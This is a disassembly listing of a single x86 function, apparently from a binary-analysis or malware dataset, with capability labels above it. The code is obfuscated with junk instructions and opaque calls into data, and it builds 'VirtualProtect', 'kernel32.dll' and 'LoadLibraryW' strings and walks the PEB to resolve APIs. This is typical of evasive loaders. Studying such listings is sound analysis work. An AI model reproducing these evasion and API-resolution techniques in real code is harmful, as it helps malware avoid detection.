Function at 0x405ddd
Capabilities:
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 7
jge 0x4082eb
push ebx
xor ebx, 0x1471
and ebx, 0x62c
and ebx, 0x9f87
pop ebx
push ebx
push esi
add esp, 4
sub ebx, 0x3205
add ebx, 0xd65a
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xaaaa
pop esi
mov byte [ebp - 0x1c8], 0xde
mov byte [ebp - 0x1c7], 0xde
mov byte [ebp - 0x1c6], 0xee
mov byte [ebp - 0x1c5], 0xee
mov byte [ebp - 0x1c4], 0xde
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 0xee
mov byte [ebp - 0x1c1], 0xee
mov byte [ebp - 0x1c0], 0xcc
mov byte [ebp - 0x1bf], 0xcc
mov byte [ebp - 0x1be], 0
push edi
xor edi, 0x163eb
or edi, 0x11705
xor edi, 0xd189
or edi, 0x16b40
pop edi
push ecx
push ebx
add esp, 4
add ecx, 0x125a0
pop ecx
push edi
push ebx
add esp, 4
xor edi, 0x16962
pop edi
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x1be], dl
push esi
and esi, 0x13125
jmp 0x405c6d
or esi, 0x15b63
and esi, 0x22d0
pop esi
push esi
add esi, 0xe54
call 0x405c8f
add byte [esi], dh
dec ecx
xor dh, byte [edi]
inc edx
dec esi
dec ebp
add esp, 4
pop esi
mov dword [ebp - 0x4b8], 0xb
mov byte [ebp - 0x1a4], 0x8b
mov byte [ebp - 0x1a3], 0xe5
mov byte [ebp - 0x1a2], 0x5d
mov byte [ebp - 0x1a1], 0xc3
push esi
add esi, 0x8120
xor esi, 0x1748f
sub esi, 0xaf49
and esi, 0x316c
pop esi
push eax
push edx
add esp, 4
or eax, 0xdb60
xor eax, 0x7738
add eax, 0x1737e
pop eax
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x214], 0
jmp 0x405d2b
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
push ecx
add ecx, 0xec73
pop ecx
push edi
push eax
add esp, 4
add edi, 0xe157
pop edi
push ebx
push edx
add esp, 4
or ebx, 0x6e3a
and ebx, 0xe626
and ebx, 0x918e
sub ebx, 0x6689
pop ebx
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0x218]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x22c]
jb 0x405dae
push edi
call 0x405d84
add byte [ebx + 0x35], al
aas
cmp byte [eax + 0x3f], cl
add esp, 4
or edi, 0xf9e8
and edi, 0x1152c
jmp 0x405d9c
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0x3d5f
pop ebx
jmp 0x406465
mov dword [ebp - 0x21c], 0xb
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x1c8]
mov dword [ebp - 0x2d4], edx
push edx
call 0x405ddd
add byte [edi], bh
cmp al, 0x3d
inc ebx
dec ebp
xor edi, dword [ecx]
push eax
add esp, 4
pop edx
push edi
push ebx
add esp, 4
add edi, 0x57c4
jmp 0x405df2
or edi, 0x6133
add edi, 0x9562
pop edi
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], eax
push edx
push edx
add esp, 4
xor edx, 0x16973
jmp 0x405e19
pop edx
push edi
xor edi, 0x5bca
add edi, 0xdb3d
pop edi
push edi
push edx
add esp, 4
xor edi, 0x145e6
and edi, 0x1865
pop edi
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x220], 0
push eax
push ebx
add esp, 4
add eax, 0xcbd8
pop eax
push eax
push eax
add esp, 4
and eax, 0x150a0
or eax, 0x3667
pop eax
push esi
push eax
add esp, 4
add esi, 0xb959
pop esi
push eax
xor eax, 0x13f44
pop eax
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x2d4]
jne 0x405ed0
push esi
jmp 0x405e96
add esi, 0xee22
pop esi
push edi
or edi, 0x11318
xor edi, 0x31a0
xor edi, 0x9b40
and edi, 0x9f1f
pop edi
push edx
add edx, 0x9ed3
pop edx
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], eax
jmp 0x406068
cmp dword [ebp - 0x21c], 0
jle 0x40602a
push edi
or edi, 0x121bc
sub edi, 0x207e
pop edi
push ecx
push edx
add esp, 4
and ecx, 0xd69c
call 0x405f03
add byte [ecx + 0x3c], al
dec esp
dec esp
push eax
add esp, 4
pop ecx
push ecx
add ecx, 0xee42
pop ecx
mov ecx, dword [ebp - 0x1ac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x405f94
push ebx
sub ebx, 0x171ab
pop ebx
push eax
push edx
add esp, 4
call 0x405f41
add byte [0x45344e48], dh
cmp eax, 0x83323843
les eax, [ecx + eax*4]
lock neg byte [ebx + 1]
add byte [ecx + 0xa505e8], al
add byte [ecx + 0x3176e8], al
add byte [eax - 0x75], bl
xchg ebp, eax
push esp
invalid
push esi
push edx
add esp, 4
call 0x405fa6
add byte [esi + 0x41], cl
cmp ecx, dword ss:[edx + 0x47]
xor eax, dword [ebx - 0x117efb3c]
mov esi, 0x8100012e
invalid
push edx
add edx, 0xa796
call 0x40603f
add byte [esi + esi], dh
inc ecx
aas
inc eax
inc edx
inc eax
dec edi
add esp, 4
call 0x406052
add byte [ebx + 0x48], al
dec esi
aas
cmp al, 0x36
dec eax
cmp ecx, dword [edi + 0x3c]
add esp, 4
xor edx, 0xc075
pop edx
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x406460
push edx
push edx
add esp, 4
call 0x406089
add byte [edi + 0x4d], cl
xor al, 0x4d
inc ebx
cmp edi, dword [0xc483343b]
add al, 0x5a
push edx
or edx, 0xdddb
xor edx, 0xcf4c
or edx, 0x179ec
sub edx, 0x899d
pop edx
mov edx, dword [ebp - 0x34]
add edx, 0xb
mov dword [ebp - 0x34], edx
push edx
and edx, 0xf1c6
and edx, 0x7205
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0xd3d4
sub ebx, 0x1d1c
add ebx, 0xac47
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x37e0
pop ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x224], 4
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0x1a4]
mov dword [ebp - 0x2e0], eax
push ebx
push eax
add esp, 4
add ebx, 0x173b1
jmp 0x40611b
xor ebx, 0xeb2b
sub ebx, 0x743d
pop ebx
push eax
push ecx
add esp, 4
jmp 0x406135
or eax, 0x2b8
pop eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x1a0], ecx
push ecx
add ecx, 0x13760
or ecx, 0xb1eb
or ecx, 0x11407
pop ecx
push edi
push edi
add esp, 4
sub edi, 0xa228
and edi, 0x164f2
add edi, 0xb47b
sub edi, 0xf327
pop edi
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x228], 0
push edx
jmp 0x406197
or edx, 0x16fec
add edx, 0x17d2e
jmp 0x4061a8
pop edx
push ebx
push eax
add esp, 4
call 0x4061bb
add byte [edi + 0x3b], cl
dec ebx
dec eax
cmp al, 0x3f
inc esi
add esp, 4
pop ebx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2e0]
jne 0x40620d
push ebx
call 0x4061d8
add byte [0x3d40463a], bh
dec ecx
add esp, 4
xor ebx, 0xd209
pop ebx
push eax
push ebx
add esp, 4
add eax, 0x220
pop eax
push eax
sub eax, 0xd789
and eax, 0xbddb
pop eax
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x2e8], ecx
jmp 0x4063a5
cmp dword [ebp - 0x224], 0
jle 0x406367
push eax
push ecx
add esp, 4
xor eax, 0x13b22
sub eax, 0x13b59
pop eax
push edx
call 0x40623c
add byte [edi + 0x47], al
push eax
inc esp
inc eax
xor eax, 0x83344732
xor al, 0x83
les eax, [ecx + eax*4]
loop 0x40623b
into
add byte [eax], al
and edx, 0x97e7
pop edx
mov edx, dword [ebp - 0x1a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4062d1
push ecx
and ecx, 0xe22c
xor ecx, 0x4b7c
add ecx, 0x1431f
pop ecx
push edi
push ecx
add esp, 4
call 0x40628a
add byte [edx + esi], bh
inc esp
xor cl, byte [esi + 0x47]
inc ecx
xor ecx, dword [edx - 0x7d]
les eax, [ecx + eax*4]
imul dword [ebx + 0x5f0000a2]
mov eax, dword [ebp - 0x1a0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4062b6
mov dword [ebp - 0x2e4], 1
jmp 0x4062c0
mov dword [ebp - 0x2e4], 0xffffffff
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x228], ecx
jmp 0x406367
push edx
call 0x4062e0
add byte [ebp + 0x32], cl
cmp eax, 0x3932334e
dec esi
add esp, 4
or edx, 0xc820
add edx, 0xdfcf
add edx, 0xee44
pop edx
push eax
and eax, 0xe44b
jmp 0x406302
pop eax
mov edx, dword [ebp - 0x224]
sub edx, 1
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x1a0]
add eax, 1
mov dword [ebp - 0x1a0], eax
push esi
push ecx
add esp, 4
or esi, 0x12ef3
xor esi, 0x78db
or esi, 0xfa9a
pop esi
push ebx
or ebx, 0x9b2b
sub ebx, 0xdd63
sub ebx, 0x2234
add ebx, 0x1352
pop ebx
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
jmp 0x40620d
push edi
push edi
add esp, 4
or edi, 0x131a3
pop edi
push edx
and edx, 0xb49c
xor edx, 0x17f62
xor edx, 0x1263f
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x7361
xor ebx, 0x2094
pop ebx
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x2e8], edx
cmp dword [ebp - 0x2e8], 0
je 0x406420
push ebx
or ebx, 0x91c3
or ebx, 0x126d1
add ebx, 0x106cd
xor ebx, 0x1470c
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0xae1c
xor ebx, 0x12f98
and ebx, 0xe47f
pop ebx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
push eax
push edx
add esp, 4
add eax, 0x7d3c
pop eax
push eax
push ebx
add esp, 4
add eax, 0x13dd
or eax, 0x79e0
jmp 0x40640e
pop eax
push ecx
push eax
add esp, 4
and ecx, 0xf867
pop ecx
jmp 0x4060eb
push ecx
push edi
add esp, 4
sub ecx, 0x12971
xor ecx, 0xf76c
xor ecx, 0x3477
and ecx, 0x17fee
pop ecx
push ecx
xor ecx, 0x11c8f
and ecx, 0x124bc
sub ecx, 0xa559
pop ecx
mov ecx, dword [ebp - 0x34]
add ecx, 4
mov dword [ebp - 0x328], ecx
jmp 0x406465
jmp 0x405d1c
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0x22c]
je 0x4082e6
push esi
push edx
add esp, 4
add esi, 0x14955
and esi, 0x4e5b
xor esi, 0xaf7f
add esi, 0x10e9f
pop esi
push edx
and edx, 0x8f1b
add edx, 0x4bcd
and edx, 0x2398
pop edx
mov byte [ebp - 0x184], 0x56
mov byte [ebp - 0x183], 0x69
mov byte [ebp - 0x182], 0x72
mov byte [ebp - 0x181], 0x74
mov byte [ebp - 0x180], 0x75
mov byte [ebp - 0x17f], 0x61
mov byte [ebp - 0x17e], 0x6c
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x74
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x63
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0
mov dword [ebp - 0x47c], 0
push esi
sub esi, 0x143f2
and esi, 0x687e
or esi, 0x67c1
add esi, 0x16e22
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x495a
pop ecx
push eax
push ebx
add esp, 4
add eax, 0xeb5c
pop eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1bc], eax
push eax
add eax, 0xdc12
or eax, 0x105f2
or eax, 0xb39a
pop eax
push eax
push esi
add esp, 4
sub eax, 0xc666
sub eax, 0x12df5
or eax, 0x11e49
sub eax, 0x1e89
pop eax
push eax
jmp 0x406594
pop eax
push ebx
push edx
add esp, 4
add ebx, 0xa4e6
jmp 0x4065a7
sub ebx, 0x7fb8
add ebx, 0x1325
pop ebx
push eax
jmp 0x4065bd
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x3f4], ecx
push ebx
and ebx, 0x11e09
call 0x4065df
add byte [eax + 0x4d], dl
cmp dword [ebp + 0x4f], eax
inc eax
inc ebx
add esp, 4
xor ebx, 0x15b0c
and ebx, 0x15070
pop ebx
push edi
sub edi, 0x5e1c
jmp 0x4065fc
pop edi
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x3f8], eax
push edi
push ebx
add esp, 4
add edi, 0x4e15
or edi, 0x7efe
and edi, 0xff58
xor edi, 0x8268
pop edi
push eax
and eax, 0xe03
pop eax
push edx
push ecx
add esp, 4
xor edx, 0xe91e
pop edx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x2ec], ecx
cmp dword [ebp - 0x2ec], 0
jne 0x406691
push ecx
xor ecx, 0x51f3
or ecx, 0x1656e
xor ecx, 0xc322
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x112b8
call 0x406681
add byte [eax], bh
aas
cmp eax, 0x4045333c
cmp al, 0x83
les eax, [edi + ebx*2]
mov dword [ebp - 0x70], 0
jmp 0x406a1d
push edi
and edi, 0x1539c
sub edi, 0xe9af
xor edi, 0x11458
xor edi, 0x122d8
pop edi
push eax
push ecx
add esp, 4
xor eax, 0xca24
add eax, 0xd89b
xor eax, 0x13b63
pop eax
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x238], ecx
cmp dword [ebp - 0x238], 0
jne 0x40671c
push ebx
xor ebx, 0x1442
pop ebx
push edi
call 0x4066f3
add byte [edi + 0x3a], cl
cmp byte [edi + 0x35], al
dec eax
add esp, 4
pop edi
push ebx
and ebx, 0x1533d
xor ebx, 0xd5a9
jmp 0x406709
xor ebx, 0x2d49
pop ebx
mov dword [ebp - 0x70], 0
jmp 0x406a1d
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0xa0], edx
push ebx
add ebx, 0xdba7
xor ebx, 0x44a8
jmp 0x40673d
sub ebx, 0x14f05
pop ebx
push ebx
and ebx, 0x2ea2
pop ebx
push esi
jmp 0x406753
sub esi, 0x15850
pop esi
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x230], edx
push eax
push ecx
add esp, 4
jmp 0x406780
pop eax
push edx
push edi
add esp, 4
xor edx, 0x1219a
add edx, 0x3e0d
or edx, 0x3a5e
pop edx
push ebx
or ebx, 0xc20b
xor ebx, 0x14aaa
pop ebx
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x14], cx
push ecx
sub ecx, 0x61f7
call 0x4067c6
add byte [edi + 0x3a], cl
inc ecx
dec ebp
inc esi
inc eax
add esp, 4
jmp 0x4067d2
add ecx, 0x4de9
pop ecx
push esi
push ebx
add esp, 4
xor esi, 0x6b6
pop esi
mov edx, dword [ebp - 0x230]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x230]
add ecx, 2
mov dword [ebp - 0x230], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x60], dx
push eax
jmp 0x406817
call 0x406824
add byte [eax + 0x33], al
xor eax, dword ss:[edx + 0x4e]
xor al, byte [ebx - 0x1f7efb3c]
xor dh, dl
add byte [eax], al
and eax, 0x1398b
pop eax
push edx
push ebx
add esp, 4
jmp 0x406840
pop edx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x14], ax
push esi
call 0x40687a
add byte [esi + 0x47], cl
xor eax, 0x40404244
cmp dword [ebx + 0x9e804c4], eax
add byte [eax], al
add byte [eax], al
aaa
dec ecx
cmp eax, dword [esp + esi + 0x4f]
inc eax
inc ecx
add esp, 4
or esi, 0xef90
pop esi
push ebx
sub ebx, 0x4e14
pop ebx
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x4068ba
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x2f4], edx
jmp 0x40693d
movzx ecx, word [ebp - 0x60]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x4067b3
movzx eax, word [ebp - 0x60]
xor eax, 0x20
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x4067b3
push edi
push edi
add esp, 4
jmp 0x4068ea
xor edi, 0x125f
xor edi, 0x1320a
add edi, 0x15b84
pop edi
push esi
call 0x40690b
add byte [eax + 0x3b], dl
inc ebp
cmp dl, byte [eax + 0x44]
dec edx
add esp, 4
pop esi
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
cmp edx, eax
jge 0x406927
mov dword [ebp - 0x2f0], 0xffffffff
jmp 0x406931
mov dword [ebp - 0x2f0], 1
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x406986
push ecx
push edi
add esp, 4
add ecx, 0x63f9
or ecx, 0xc18e
sub ecx, 0x14818
xor ecx, 0xe197
pop ecx
push eax
push esi
add esp, 4
or eax, 0x2388
pop eax
push edx
sub edx, 0x11417
pop edx
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x70], edx
jmp 0x406a1d
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
push edx
or edx, 0xe43b
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x163e9
pop ebx
push edi
push esi
add esp, 4
or edi, 0x397a
add edi, 0x18460
sub edi, 0xe961
and edi, 0x15de2
pop edi
mov edx, dword [ebp - 0xa0]
cmp edx, dword [ebp - 0x238]
je 0x4069e4
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0x30], 0
jne 0x406728
push ebx
or ebx, 0x4a1f
pop ebx
push edi
push edx
add esp, 4
sub edi, 0x6863
pop edi
push esi
push edx
add esp, 4
xor esi, 0x1fd
or esi, 0xcb93
and esi, 0xdd3e
and esi, 0x2887
pop esi
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0
jne 0x4076d3
push edi
push ecx
add esp, 4
xor edi, 0x6e60
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0xb159
pop ebx
push edx
xor edx, 0x2787
pop edx
push esi
push ebx
add esp, 4
or esi, 0x99c4
and esi, 0x165fd
pop esi
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push esi
or esi, 0xa522
or esi, 0xfece
and esi, 0x176e5
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xa1a3
or ebx, 0xf864
xor ebx, 0x142c7
add ebx, 0x952d
pop ebx
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x61
mov byte [ebp - 0x161], 0x64
mov byte [ebp - 0x160], 0x4c
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x62
mov byte [ebp - 0x15d], 0x72
mov byte [ebp - 0x15c], 0x61
jmp dword [ecx - 0x3a]
test dword [ebp + 0x72fffffe], esp
mov byte [ebp - 0x15a], 0x79
mov byte [ebp - 0x159], 0x57
mov byte [ebp - 0x158], 0
push edi
push edx
add edx, 0x147a3
add edx, 0x7baa
xor eax, 0x4547354c
inc eax
xor eax, dword [ebx - 0xa5fb3c]
add esp, 4
pop edx
call dword [ebp - 0x438]
push ecx
push esi
add esp, 4
call 0x408292
add byte [esi], dh
dec esi
dec edx
xor ecx, dword [ebp + 0x47]
add esp, 4
call 0x4082a3
add byte [ecx + 0x35], cl
xor eax, 0x3c4b3541
add esp, 4
sub ecx, 0x7e50
or ecx, 0x129f9
pop ecx
popal
push eax
jmp 0x4082be
jmp 0x4082c4
call 0x4082d3
add byte [eax + 0x3f], cl
dec esi
inc edi
cmp bh, byte [ecx]
inc edx
dec eax
dec edx
add esp, 4
pop eax
push esi
push esi
add esp, 4
jmp 0x4082e5
pop esi
jmp 0x405b88